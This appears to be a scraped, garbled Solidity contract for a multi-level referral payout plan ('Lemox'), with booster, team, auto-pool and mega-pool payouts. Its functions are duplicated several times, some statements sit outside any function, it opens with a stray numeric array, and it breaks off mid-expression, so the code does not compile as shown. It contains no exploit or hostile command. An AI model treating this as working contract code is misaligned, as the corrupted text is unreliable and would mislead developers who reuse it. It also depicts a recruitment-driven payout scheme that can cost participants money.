-100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/4/0x75F17307f4A0Bad6f8F76ca8408A1b83CF3D3a2E/sources/browser/hook.sol
Lemox plan functions all first mappings are userId 2nd is levelmapping(uint256 => uint256[11]) memory payOutArray;
{ address public mscContractAddress; uint256 public networkId; address public tokenContractAddress; mapping(uint256 => uint256[6]) public boosterGain; mapping(uint256 => uint256[8]) public teamActivationGain; mapping(uint256 => uint256[8]) public teamBonusGain; mapping(uint256 => uint256[10]) public megaPoolGain; mapping(uint256 => bool[10]) public megaPoolReadyToWithdraw; mapping(uint256 => uint256[6]) public paidBoosterGain; mapping(uint256 => uint256[8]) public paidTeamActivationGain; mapping(uint256 => uint256[8]) public paidTeamBonusGain; mapping(uint256 => uint256[10]) public paidMegaPoolGain; mapping(uint256 => uint256[3]) public teamTurnOver; mapping(uint256 => mapping(uint256 => uint256[6])) public autoPoolGain; mapping(uint256 => mapping(uint256 => uint256[6])) public paidAutoPoolGain; uint256[10] public megaPoolPrice; uint256[6] public levelBuyPrice; uint256[8] public bonusPrice; mapping(uint256 => uint256) public reInvestGain; mapping(uint256 => uint256) public expiryTime; uint256 reInvestPeriod; struct autoPay { uint[11] payOutArray; } constructor() public{ levelBuyPrice = [35000000000000000000,40000000000000000000,100000000000000000000,500000000000000000000,1000000000000000000000,5000000000000000000000]; megaPoolPrice = [5000000000000000000,10000000000000000000,10000000000000000000,80000000000000000000,220000000000000000000,600000000000000000000,1000000000000000000000,2000000000000000000000,8000000000000000000000,16000000000000000000000]; bonusPrice = [50000000000000000000,250000000000000000000,625000000000000000000,1875000000000000000000,2500000000000000000000,12500000000000000000000,25000000000000000000000,125000000000000000000000]; reInvestPeriod = 172800; } function() external payable { } function setAllowWithdrawInEther(bool _value) public onlyOwner returns (bool) { allowWithdrawInEther = _value; return true; } event processExternalMainEv(uint256 _networkId,uint256 _planIndex,uint256 _baseUserId, uint256 _subTreeId, uint256 _referrerId, uint256 _paidAmount, bool mainTree); function processExternalMain(uint256 _networkId,uint256 _planIndex,uint256 _baseUserId, uint256 _subTreeId, uint256 _referrerId, uint256 _paidAmount, bool mainTree) external returns(bool) { if(_paidAmount > 0) { require(_networkId == networkId, "Invalid call by MSC"); autoPay[5] memory payOutArr; payOutArr[0].payOutArray = [uint256(10000000),uint256(6666666),uint256(5000000),uint256(5000000),uint256(5000000),uint256(5000000),uint256(5000000),uint256(23750000),uint256(26408),uint256(26408),uint256(125437)]; payOutArr[1].payOutArray = [uint256(10000000),uint256(6666666),uint256(6000000),uint256(6000000),uint256(5000000),uint256(5000000),uint256(5000000),uint256(20000000),uint256(30864),uint256(30864),uint256(123457)]; payOutArr[2].payOutArray = [uint256(10000000),uint256(6666666),uint256(5000000),uint256(6000000),uint256(7000000),uint256(8000000),uint256(9000000),uint256(13000000),uint256(64977),uint256(73099),uint256(105588)]; payOutArr[3].payOutArray = [uint256(10000000),uint256(6666666),uint256(5000000),uint256(6000000),uint256(7000000),uint256(8000000),uint256(9000000),uint256(10000000),uint256(79012),uint256(88889),uint256(98765)]; payOutArr[4].payOutArray = [uint256(10000000),uint256(6666666),uint256(2000000),uint256(2400000),uint256(2800000),uint256(3200000),uint256(3600000),uint256(9000000),uint256(41585),uint256(46784),uint256(116959)]; if(_planIndex == 0) { require(payIndex0(_baseUserId, _referrerId,_paidAmount),"fund allot fail"); } else if(_planIndex >= 1) { require(payIndex1(_baseUserId,_planIndex, _referrerId,_paidAmount,payOutArr[_planIndex -1].payOutArray),"fund allot fail"); } } emit processExternalMainEv(_networkId,_planIndex,_baseUserId,_subTreeId, _referrerId, _paidAmount, mainTree); return true; } event payOutDetailEv(uint payoutType, uint amount,uint paidTo, uint paidAgainst); function processExternalMain(uint256 _networkId,uint256 _planIndex,uint256 _baseUserId, uint256 _subTreeId, uint256 _referrerId, uint256 _paidAmount, bool mainTree) external returns(bool) { if(_paidAmount > 0) { require(_networkId == networkId, "Invalid call by MSC"); autoPay[5] memory payOutArr; payOutArr[0].payOutArray = [uint256(10000000),uint256(6666666),uint256(5000000),uint256(5000000),uint256(5000000),uint256(5000000),uint256(5000000),uint256(23750000),uint256(26408),uint256(26408),uint256(125437)]; payOutArr[1].payOutArray = [uint256(10000000),uint256(6666666),uint256(6000000),uint256(6000000),uint256(5000000),uint256(5000000),uint256(5000000),uint256(20000000),uint256(30864),uint256(30864),uint256(123457)]; payOutArr[2].payOutArray = [uint256(10000000),uint256(6666666),uint256(5000000),uint256(6000000),uint256(7000000),uint256(8000000),uint256(9000000),uint256(13000000),uint256(64977),uint256(73099),uint256(105588)]; payOutArr[3].payOutArray = [uint256(10000000),uint256(6666666),uint256(5000000),uint256(6000000),uint256(7000000),uint256(8000000),uint256(9000000),uint256(10000000),uint256(79012),uint256(88889),uint256(98765)]; payOutArr[4].payOutArray = [uint256(10000000),uint256(6666666),uint256(2000000),uint256(2400000),uint256(2800000),uint256(3200000),uint256(3600000),uint256(9000000),uint256(41585),uint256(46784),uint256(116959)]; if(_planIndex == 0) { require(payIndex0(_baseUserId, _referrerId,_paidAmount),"fund allot fail"); } else if(_planIndex >= 1) { require(payIndex1(_baseUserId,_planIndex, _referrerId,_paidAmount,payOutArr[_planIndex -1].payOutArray),"fund allot fail"); } } emit processExternalMainEv(_networkId,_planIndex,_baseUserId,_subTreeId, _referrerId, _paidAmount, mainTree); return true; } event payOutDetailEv(uint payoutType, uint amount,uint paidTo, uint paidAgainst); function processExternalMain(uint256 _networkId,uint256 _planIndex,uint256 _baseUserId, uint256 _subTreeId, uint256 _referrerId, uint256 _paidAmount, bool mainTree) external returns(bool) { if(_paidAmount > 0) { require(_networkId == networkId, "Invalid call by MSC"); autoPay[5] memory payOutArr; payOutArr[0].payOutArray = [uint256(10000000),uint256(6666666),uint256(5000000),uint256(5000000),uint256(5000000),uint256(5000000),uint256(5000000),uint256(23750000),uint256(26408),uint256(26408),uint256(125437)]; payOutArr[1].payOutArray = [uint256(10000000),uint256(6666666),uint256(6000000),uint256(6000000),uint256(5000000),uint256(5000000),uint256(5000000),uint256(20000000),uint256(30864),uint256(30864),uint256(123457)]; payOutArr[2].payOutArray = [uint256(10000000),uint256(6666666),uint256(5000000),uint256(6000000),uint256(7000000),uint256(8000000),uint256(9000000),uint256(13000000),uint256(64977),uint256(73099),uint256(105588)]; payOutArr[3].payOutArray = [uint256(10000000),uint256(6666666),uint256(5000000),uint256(6000000),uint256(7000000),uint256(8000000),uint256(9000000),uint256(10000000),uint256(79012),uint256(88889),uint256(98765)]; payOutArr[4].payOutArray = [uint256(10000000),uint256(6666666),uint256(2000000),uint256(2400000),uint256(2800000),uint256(3200000),uint256(3600000),uint256(9000000),uint256(41585),uint256(46784),uint256(116959)]; if(_planIndex == 0) { require(payIndex0(_baseUserId, _referrerId,_paidAmount),"fund allot fail"); } else if(_planIndex >= 1) { require(payIndex1(_baseUserId,_planIndex, _referrerId,_paidAmount,payOutArr[_planIndex -1].payOutArray),"fund allot fail"); } } emit processExternalMainEv(_networkId,_planIndex,_baseUserId,_subTreeId, _referrerId, _paidAmount, mainTree); return true; } event payOutDetailEv(uint payoutType, uint amount,uint paidTo, uint paidAgainst); function processExternalMain(uint256 _networkId,uint256 _planIndex,uint256 _baseUserId, uint256 _subTreeId, uint256 _referrerId, uint256 _paidAmount, bool mainTree) external returns(bool) { if(_paidAmount > 0) { require(_networkId == networkId, "Invalid call by MSC"); autoPay[5] memory payOutArr; payOutArr[0].payOutArray = [uint256(10000000),uint256(6666666),uint256(5000000),uint256(5000000),uint256(5000000),uint256(5000000),uint256(5000000),uint256(23750000),uint256(26408),uint256(26408),uint256(125437)]; payOutArr[1].payOutArray = [uint256(10000000),uint256(6666666),uint256(6000000),uint256(6000000),uint256(5000000),uint256(5000000),uint256(5000000),uint256(20000000),uint256(30864),uint256(30864),uint256(123457)]; payOutArr[2].payOutArray = [uint256(10000000),uint256(6666666),uint256(5000000),uint256(6000000),uint256(7000000),uint256(8000000),uint256(9000000),uint256(13000000),uint256(64977),uint256(73099),uint256(105588)]; payOutArr[3].payOutArray = [uint256(10000000),uint256(6666666),uint256(5000000),uint256(6000000),uint256(7000000),uint256(8000000),uint256(9000000),uint256(10000000),uint256(79012),uint256(88889),uint256(98765)]; payOutArr[4].payOutArray = [uint256(10000000),uint256(6666666),uint256(2000000),uint256(2400000),uint256(2800000),uint256(3200000),uint256(3600000),uint256(9000000),uint256(41585),uint256(46784),uint256(116959)]; if(_planIndex == 0) { require(payIndex0(_baseUserId, _referrerId,_paidAmount),"fund allot fail"); } else if(_planIndex >= 1) { require(payIndex1(_baseUserId,_planIndex, _referrerId,_paidAmount,payOutArr[_planIndex -1].payOutArray),"fund allot fail"); } } emit processExternalMainEv(_networkId,_planIndex,_baseUserId,_subTreeId, _referrerId, _paidAmount, mainTree); return true; } event payOutDetailEv(uint payoutType, uint amount,uint paidTo, uint paidAgainst); function payIndex0(uint256 _baseUserId, uint256 _referrerId,uint256 _paidAmount) internal returns(bool) { uint256[9] memory tmpDist; uint tmp2; uint256 _networkId = networkId; uint Pamount = _paidAmount * 42857143 / 100000000; boosterGain[_referrerId][0] += Pamount; emit payOutDetailEv(0, Pamount, _referrerId, _baseUserId); uint256 pId = _baseUserId; uint tmp = 3571428; uint256 i; for(i=0;i<8;i++) { ( ,,,pId,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,0,true, pId); Pamount = _paidAmount * tmp / 100000000; teamActivationGain[pId][i] += Pamount; emit payOutDetailEv(3, Pamount, pId, _baseUserId); if((i+1) % 2 == 0) tmp = tmp - 714285; } for(i=0;i<6;i++) { ( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,0,false, pId); if(i<3) { Pamount = _paidAmount * tmpDist[i]/ 100000000; autoPoolGain[pId][0][i] += Pamount; emit payOutDetailEv(5, Pamount, pId, _baseUserId); } else { ( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,0,false, pId); tmp = _paidAmount * tmpDist[i] / 100000000; tmp2 = 2 * _paidAmount * tmpDist[i+3] / 100000000; autoPoolGain[pId][0][i] += tmp - tmp2; emit payOutDetailEv(5, tmp - tmp2, pId, _baseUserId); reInvestGain[pId] += tmp2; emit payOutDetailEv(7, tmp2, pId, _baseUserId); } } if(reInvestGain[pId] >= _paidAmount) expiryTime[_baseUserId] = now + reInvestPeriod; require(payMegaPool(_baseUserId,0),"mega pool pay fail"); return true; } function payIndex0(uint256 _baseUserId, uint256 _referrerId,uint256 _paidAmount) internal returns(bool) { uint256[9] memory tmpDist; uint tmp2; uint256 _networkId = networkId; uint Pamount = _paidAmount * 42857143 / 100000000; boosterGain[_referrerId][0] += Pamount; emit payOutDetailEv(0, Pamount, _referrerId, _baseUserId); uint256 pId = _baseUserId; uint tmp = 3571428; uint256 i; for(i=0;i<8;i++) { ( ,,,pId,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,0,true, pId); Pamount = _paidAmount * tmp / 100000000; teamActivationGain[pId][i] += Pamount; emit payOutDetailEv(3, Pamount, pId, _baseUserId); if((i+1) % 2 == 0) tmp = tmp - 714285; } for(i=0;i<6;i++) { ( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,0,false, pId); if(i<3) { Pamount = _paidAmount * tmpDist[i]/ 100000000; autoPoolGain[pId][0][i] += Pamount; emit payOutDetailEv(5, Pamount, pId, _baseUserId); } else { ( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,0,false, pId); tmp = _paidAmount * tmpDist[i] / 100000000; tmp2 = 2 * _paidAmount * tmpDist[i+3] / 100000000; autoPoolGain[pId][0][i] += tmp - tmp2; emit payOutDetailEv(5, tmp - tmp2, pId, _baseUserId); reInvestGain[pId] += tmp2; emit payOutDetailEv(7, tmp2, pId, _baseUserId); } } if(reInvestGain[pId] >= _paidAmount) expiryTime[_baseUserId] = now + reInvestPeriod; require(payMegaPool(_baseUserId,0),"mega pool pay fail"); return true; } tmpDist = [uint256(714285),uint256(1428571),uint256(2857142),uint256(2142857),uint256(2142857),uint256(4428571),uint256(54627),uint256(54627),uint256(112896)]; pId = mscInterface(mscContractAddress).subUserId(_networkId, 0, false, _baseUserId ); function payIndex0(uint256 _baseUserId, uint256 _referrerId,uint256 _paidAmount) internal returns(bool) { uint256[9] memory tmpDist; uint tmp2; uint256 _networkId = networkId; uint Pamount = _paidAmount * 42857143 / 100000000; boosterGain[_referrerId][0] += Pamount; emit payOutDetailEv(0, Pamount, _referrerId, _baseUserId); uint256 pId = _baseUserId; uint tmp = 3571428; uint256 i; for(i=0;i<8;i++) { ( ,,,pId,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,0,true, pId); Pamount = _paidAmount * tmp / 100000000; teamActivationGain[pId][i] += Pamount; emit payOutDetailEv(3, Pamount, pId, _baseUserId); if((i+1) % 2 == 0) tmp = tmp - 714285; } for(i=0;i<6;i++) { ( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,0,false, pId); if(i<3) { Pamount = _paidAmount * tmpDist[i]/ 100000000; autoPoolGain[pId][0][i] += Pamount; emit payOutDetailEv(5, Pamount, pId, _baseUserId); } else { ( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,0,false, pId); tmp = _paidAmount * tmpDist[i] / 100000000; tmp2 = 2 * _paidAmount * tmpDist[i+3] / 100000000; autoPoolGain[pId][0][i] += tmp - tmp2; emit payOutDetailEv(5, tmp - tmp2, pId, _baseUserId); reInvestGain[pId] += tmp2; emit payOutDetailEv(7, tmp2, pId, _baseUserId); } } if(reInvestGain[pId] >= _paidAmount) expiryTime[_baseUserId] = now + reInvestPeriod; require(payMegaPool(_baseUserId,0),"mega pool pay fail"); return true; } function payIndex0(uint256 _baseUserId, uint256 _referrerId,uint256 _paidAmount) internal returns(bool) { uint256[9] memory tmpDist; uint tmp2; uint256 _networkId = networkId; uint Pamount = _paidAmount * 42857143 / 100000000; boosterGain[_referrerId][0] += Pamount; emit payOutDetailEv(0, Pamount, _referrerId, _baseUserId); uint256 pId = _baseUserId; uint tmp = 3571428; uint256 i; for(i=0;i<8;i++) { ( ,,,pId,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,0,true, pId); Pamount = _paidAmount * tmp / 100000000; teamActivationGain[pId][i] += Pamount; emit payOutDetailEv(3, Pamount, pId, _baseUserId); if((i+1) % 2 == 0) tmp = tmp - 714285; } for(i=0;i<6;i++) { ( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,0,false, pId); if(i<3) { Pamount = _paidAmount * tmpDist[i]/ 100000000; autoPoolGain[pId][0][i] += Pamount; emit payOutDetailEv(5, Pamount, pId, _baseUserId); } else { ( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,0,false, pId); tmp = _paidAmount * tmpDist[i] / 100000000; tmp2 = 2 * _paidAmount * tmpDist[i+3] / 100000000; autoPoolGain[pId][0][i] += tmp - tmp2; emit payOutDetailEv(5, tmp - tmp2, pId, _baseUserId); reInvestGain[pId] += tmp2; emit payOutDetailEv(7, tmp2, pId, _baseUserId); } } if(reInvestGain[pId] >= _paidAmount) expiryTime[_baseUserId] = now + reInvestPeriod; require(payMegaPool(_baseUserId,0),"mega pool pay fail"); return true; } function payIndex0(uint256 _baseUserId, uint256 _referrerId,uint256 _paidAmount) internal returns(bool) { uint256[9] memory tmpDist; uint tmp2; uint256 _networkId = networkId; uint Pamount = _paidAmount * 42857143 / 100000000; boosterGain[_referrerId][0] += Pamount; emit payOutDetailEv(0, Pamount, _referrerId, _baseUserId); uint256 pId = _baseUserId; uint tmp = 3571428; uint256 i; for(i=0;i<8;i++) { ( ,,,pId,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,0,true, pId); Pamount = _paidAmount * tmp / 100000000; teamActivationGain[pId][i] += Pamount; emit payOutDetailEv(3, Pamount, pId, _baseUserId); if((i+1) % 2 == 0) tmp = tmp - 714285; } for(i=0;i<6;i++) { ( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,0,false, pId); if(i<3) { Pamount = _paidAmount * tmpDist[i]/ 100000000; autoPoolGain[pId][0][i] += Pamount; emit payOutDetailEv(5, Pamount, pId, _baseUserId); } else { ( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,0,false, pId); tmp = _paidAmount * tmpDist[i] / 100000000; tmp2 = 2 * _paidAmount * tmpDist[i+3] / 100000000; autoPoolGain[pId][0][i] += tmp - tmp2; emit payOutDetailEv(5, tmp - tmp2, pId, _baseUserId); reInvestGain[pId] += tmp2; emit payOutDetailEv(7, tmp2, pId, _baseUserId); } } if(reInvestGain[pId] >= _paidAmount) expiryTime[_baseUserId] = now + reInvestPeriod; require(payMegaPool(_baseUserId,0),"mega pool pay fail"); return true; } function payIndex1(uint256 _baseUserId,uint256 _planIndex, uint256 _referrerId,uint256 _paidAmount, uint[11] memory prcnt) internal returns(bool) { require(msg.sender == mscContractAddress, "invalid caller"); uint256 _networkId = networkId; uint Pamount = _paidAmount * prcnt[0] / 100000000; boosterGain[_referrerId][_planIndex] += Pamount; emit payOutDetailEv((10* _planIndex) + 1, Pamount, _referrerId, _baseUserId); uint256 pId = _baseUserId; uint256 tmp; uint256 i; for(i=0;i<6;i++) { ( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,0,true, pId); Pamount = _paidAmount * prcnt[1] / 100000000; boosterGain[pId][i] += Pamount; emit payOutDetailEv((10* _planIndex) + 2, Pamount, pId, _baseUserId); } tmp = 0; uint tmp2; for(i=0;i<5;i++) { ( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,_planIndex,false, pId); tmp = _paidAmount * prcnt[i+2] / 100000000; tmp2 = 0; autoPoolGain[pId][_planIndex][i] += (tmp - tmp2); emit payOutDetailEv((10* _planIndex + 5), tmp - tmp2, pId, _baseUserId); reInvestGain[pId] += tmp2; if(tmp2>0) emit payOutDetailEv((10* _planIndex) + 7, tmp2, pId, _baseUserId); } if(reInvestGain[pId] >= levelBuyPrice[0]) expiryTime[_baseUserId] = now + reInvestPeriod; return true; } function payIndex1(uint256 _baseUserId,uint256 _planIndex, uint256 _referrerId,uint256 _paidAmount, uint[11] memory prcnt) internal returns(bool) { require(msg.sender == mscContractAddress, "invalid caller"); uint256 _networkId = networkId; uint Pamount = _paidAmount * prcnt[0] / 100000000; boosterGain[_referrerId][_planIndex] += Pamount; emit payOutDetailEv((10* _planIndex) + 1, Pamount, _referrerId, _baseUserId); uint256 pId = _baseUserId; uint256 tmp; uint256 i; for(i=0;i<6;i++) { ( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,0,true, pId); Pamount = _paidAmount * prcnt[1] / 100000000; boosterGain[pId][i] += Pamount; emit payOutDetailEv((10* _planIndex) + 2, Pamount, pId, _baseUserId); } tmp = 0; uint tmp2; for(i=0;i<5;i++) { ( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,_planIndex,false, pId); tmp = _paidAmount * prcnt[i+2] / 100000000; tmp2 = 0; autoPoolGain[pId][_planIndex][i] += (tmp - tmp2); emit payOutDetailEv((10* _planIndex + 5), tmp - tmp2, pId, _baseUserId); reInvestGain[pId] += tmp2; if(tmp2>0) emit payOutDetailEv((10* _planIndex) + 7, tmp2, pId, _baseUserId); } if(reInvestGain[pId] >= levelBuyPrice[0]) expiryTime[_baseUserId] = now + reInvestPeriod; return true; } pId = mscInterface(mscContractAddress).subUserId(_networkId, _planIndex, false, _baseUserId ); function payIndex1(uint256 _baseUserId,uint256 _planIndex, uint256 _referrerId,uint256 _paidAmount, uint[11] memory prcnt) internal returns(bool) { require(msg.sender == mscContractAddress, "invalid caller"); uint256 _networkId = networkId; uint Pamount = _paidAmount * prcnt[0] / 100000000; boosterGain[_referrerId][_planIndex] += Pamount; emit payOutDetailEv((10* _planIndex) + 1, Pamount, _referrerId, _baseUserId); uint256 pId = _baseUserId; uint256 tmp; uint256 i; for(i=0;i<6;i++) { ( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,0,true, pId); Pamount = _paidAmount * prcnt[1] / 100000000; boosterGain[pId][i] += Pamount; emit payOutDetailEv((10* _planIndex) + 2, Pamount, pId, _baseUserId); } tmp = 0; uint tmp2; for(i=0;i<5;i++) { ( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,_planIndex,false, pId); tmp = _paidAmount * prcnt[i+2] / 100000000; tmp2 = 0; autoPoolGain[pId][_planIndex][i] += (tmp - tmp2); emit payOutDetailEv((10* _planIndex + 5), tmp - tmp2, pId, _baseUserId); reInvestGain[pId] += tmp2; if(tmp2>0) emit payOutDetailEv((10* _planIndex) + 7, tmp2, pId, _baseUserId); } if(reInvestGain[pId] >= levelBuyPrice[0]) expiryTime[_baseUserId] = now + reInvestPeriod; return true; } function payMegaPool(uint256 _baseUserId, uint256 _levelIndex) internal returns(bool) { uint256 _networkId = networkId; uint pId; uint Pamount; if(_levelIndex == 0) { pId = mscInterface(mscContractAddress).subUserId(_networkId, 6, false, _baseUserId ); ( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,6,false, pId); Pamount = megaPoolPrice[_levelIndex]; megaPoolGain[pId][_levelIndex] += Pamount ; emit payOutDetailEv((10* _levelIndex) + 6, Pamount, pId, _baseUserId); } uint256 x=_levelIndex + 1; if(megaPoolGain[pId][_levelIndex] == megaPoolPrice[_levelIndex] * (uint(2) ** x ) && megaPoolReadyToWithdraw[pId][_levelIndex] == false && _levelIndex < 9) { Pamount = megaPoolPrice[_levelIndex+1]; megaPoolGain[pId][_levelIndex] = megaPoolGain[pId][_levelIndex] - Pamount; megaPoolReadyToWithdraw[pId][_levelIndex] = true; for(uint256 k=0;k<=_levelIndex+1;k++) { ( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,6,false, pId); } megaPoolGain[pId][_levelIndex] += Pamount; emit payOutDetailEv(( 10 * _levelIndex) + 6, Pamount, pId, _baseUserId); if(_levelIndex < 9 ) payMegaPool(pId, _levelIndex + 1 ); } return true; } function payMegaPool(uint256 _baseUserId, uint256 _levelIndex) internal returns(bool) { uint256 _networkId = networkId; uint pId; uint Pamount; if(_levelIndex == 0) { pId = mscInterface(mscContractAddress).subUserId(_networkId, 6, false, _baseUserId ); ( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,6,false, pId); Pamount = megaPoolPrice[_levelIndex]; megaPoolGain[pId][_levelIndex] += Pamount ; emit payOutDetailEv((10* _levelIndex) + 6, Pamount, pId, _baseUserId); } uint256 x=_levelIndex + 1; if(megaPoolGain[pId][_levelIndex] == megaPoolPrice[_levelIndex] * (uint(2) ** x ) && megaPoolReadyToWithdraw[pId][_levelIndex] == false && _levelIndex < 9) { Pamount = megaPoolPrice[_levelIndex+1]; megaPoolGain[pId][_levelIndex] = megaPoolGain[pId][_levelIndex] - Pamount; megaPoolReadyToWithdraw[pId][_levelIndex] = true; for(uint256 k=0;k<=_levelIndex+1;k++) { ( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,6,false, pId); } megaPoolGain[pId][_levelIndex] += Pamount; emit payOutDetailEv(( 10 * _levelIndex) + 6, Pamount, pId, _baseUserId); if(_levelIndex < 9 ) payMegaPool(pId, _levelIndex + 1 ); } return true; } function payMegaPool(uint256 _baseUserId, uint256 _levelIndex) internal returns(bool) { uint256 _networkId = networkId; uint pId; uint Pamount; if(_levelIndex == 0) { pId = mscInterface(mscContractAddress).subUserId(_networkId, 6, false, _baseUserId ); ( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,6,false, pId); Pamount = megaPoolPrice[_levelIndex]; megaPoolGain[pId][_levelIndex] += Pamount ; emit payOutDetailEv((10* _levelIndex) + 6, Pamount, pId, _baseUserId); } uint256 x=_levelIndex + 1; if(megaPoolGain[pId][_levelIndex] == megaPoolPrice[_levelIndex] * (uint(2) ** x ) && megaPoolReadyToWithdraw[pId][_levelIndex] == false && _levelIndex < 9) { Pamount = megaPoolPrice[_levelIndex+1]; megaPoolGain[pId][_levelIndex] = megaPoolGain[pId][_levelIndex] - Pamount; megaPoolReadyToWithdraw[pId][_levelIndex] = true; for(uint256 k=0;k<=_levelIndex+1;k++) { ( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,6,false, pId); } megaPoolGain[pId][_levelIndex] += Pamount; emit payOutDetailEv(( 10 * _levelIndex) + 6, Pamount, pId, _baseUserId); if(_levelIndex < 9 ) payMegaPool(pId, _levelIndex + 1 ); } return true; } function payMegaPool(uint256 _baseUserId, uint256 _levelIndex) internal returns(bool) { uint256 _networkId = networkId; uint pId; uint Pamount; if(_levelIndex == 0) { pId = mscInterface(mscContractAddress).subUserId(_networkId, 6, false, _baseUserId ); ( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,6,false, pId); Pamount = megaPoolPrice[_levelIndex]; megaPoolGain[pId][_levelIndex] += Pamount ; emit payOutDetailEv((10* _levelIndex) + 6, Pamount, pId, _baseUserId); } uint256 x=_levelIndex + 1; if(megaPoolGain[pId][_levelIndex] == megaPoolPrice[_levelIndex] * (uint(2) ** x ) && megaPoolReadyToWithdraw[pId][_levelIndex] == false && _levelIndex < 9) { Pamount = megaPoolPrice[_levelIndex+1]; megaPoolGain[pId][_levelIndex] = megaPoolGain[pId][_levelIndex] - Pamount; megaPoolReadyToWithdraw[pId][_levelIndex] = true; for(uint256 k=0;k<=_levelIndex+1;k++) { ( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,6,false, pId); } megaPoolGain[pId][_levelIndex] += Pamount; emit payOutDetailEv(( 10 * _levelIndex) + 6, Pamount, pId, _baseUserId); if(_levelIndex < 9 ) payMegaPool(pId, _levelIndex + 1 ); } return true; } function updateTeamCount(uint256 _userId, uint256 _turnOverCountLeg1, uint256 _turnOverCountLeg2, uint256 _turnOverCountLeg3) public onlySigner returns(bool) { uint256 totalCount; teamTurnOver[_userId][0] = _turnOverCountLeg1; teamTurnOver[_userId][1] = _turnOverCountLeg2; teamTurnOver[_userId][2] = _turnOverCountLeg3; if(_turnOverCountLeg1 > _turnOverCountLeg2 && _turnOverCountLeg1 > _turnOverCountLeg3) { totalCount = _turnOverCountLeg1 / 2; totalCount += ( _turnOverCountLeg2 + _turnOverCountLeg3); } else if(_turnOverCountLeg2 > _turnOverCountLeg1 && _turnOverCountLeg2 > _turnOverCountLeg3) { totalCount = _turnOverCountLeg2 / 2; totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg3); } else { totalCount = _turnOverCountLeg3 / 2; totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg2); } if(totalCount >=3000 && totalCount < 15000 && teamBonusGain[_userId][0] == 0) { teamBonusGain[_userId][0] = bonusPrice[0]; } if(totalCount >=15000 && totalCount < 30000 && teamBonusGain[_userId][1] == 0) { teamBonusGain[_userId][1] = bonusPrice[1]; } if(totalCount >=30000 && totalCount < 150000 && teamBonusGain[_userId][2] == 0) { teamBonusGain[_userId][2] = bonusPrice[2]; } if(totalCount >=150000 && totalCount < 300000 && teamBonusGain[_userId][3] == 0) { teamBonusGain[_userId][3] = bonusPrice[3]; } if(totalCount >=300000 && totalCount < 1500000 && teamBonusGain[_userId][4] == 0) { teamBonusGain[_userId][4] = bonusPrice[4]; } if(totalCount >=1500000 && totalCount < 3000000 && teamBonusGain[_userId][5] == 0) { teamBonusGain[_userId][5] = bonusPrice[5]; } if(totalCount >=3000000 && totalCount < 15000000 && teamBonusGain[_userId][6] == 0) { teamBonusGain[_userId][6] = bonusPrice[6]; } if(totalCount >=15000000 && teamBonusGain[_userId][7] == 0) { teamBonusGain[_userId][7] = bonusPrice[7]; } return true; } function updateTeamCount(uint256 _userId, uint256 _turnOverCountLeg1, uint256 _turnOverCountLeg2, uint256 _turnOverCountLeg3) public onlySigner returns(bool) { uint256 totalCount; teamTurnOver[_userId][0] = _turnOverCountLeg1; teamTurnOver[_userId][1] = _turnOverCountLeg2; teamTurnOver[_userId][2] = _turnOverCountLeg3; if(_turnOverCountLeg1 > _turnOverCountLeg2 && _turnOverCountLeg1 > _turnOverCountLeg3) { totalCount = _turnOverCountLeg1 / 2; totalCount += ( _turnOverCountLeg2 + _turnOverCountLeg3); } else if(_turnOverCountLeg2 > _turnOverCountLeg1 && _turnOverCountLeg2 > _turnOverCountLeg3) { totalCount = _turnOverCountLeg2 / 2; totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg3); } else { totalCount = _turnOverCountLeg3 / 2; totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg2); } if(totalCount >=3000 && totalCount < 15000 && teamBonusGain[_userId][0] == 0) { teamBonusGain[_userId][0] = bonusPrice[0]; } if(totalCount >=15000 && totalCount < 30000 && teamBonusGain[_userId][1] == 0) { teamBonusGain[_userId][1] = bonusPrice[1]; } if(totalCount >=30000 && totalCount < 150000 && teamBonusGain[_userId][2] == 0) { teamBonusGain[_userId][2] = bonusPrice[2]; } if(totalCount >=150000 && totalCount < 300000 && teamBonusGain[_userId][3] == 0) { teamBonusGain[_userId][3] = bonusPrice[3]; } if(totalCount >=300000 && totalCount < 1500000 && teamBonusGain[_userId][4] == 0) { teamBonusGain[_userId][4] = bonusPrice[4]; } if(totalCount >=1500000 && totalCount < 3000000 && teamBonusGain[_userId][5] == 0) { teamBonusGain[_userId][5] = bonusPrice[5]; } if(totalCount 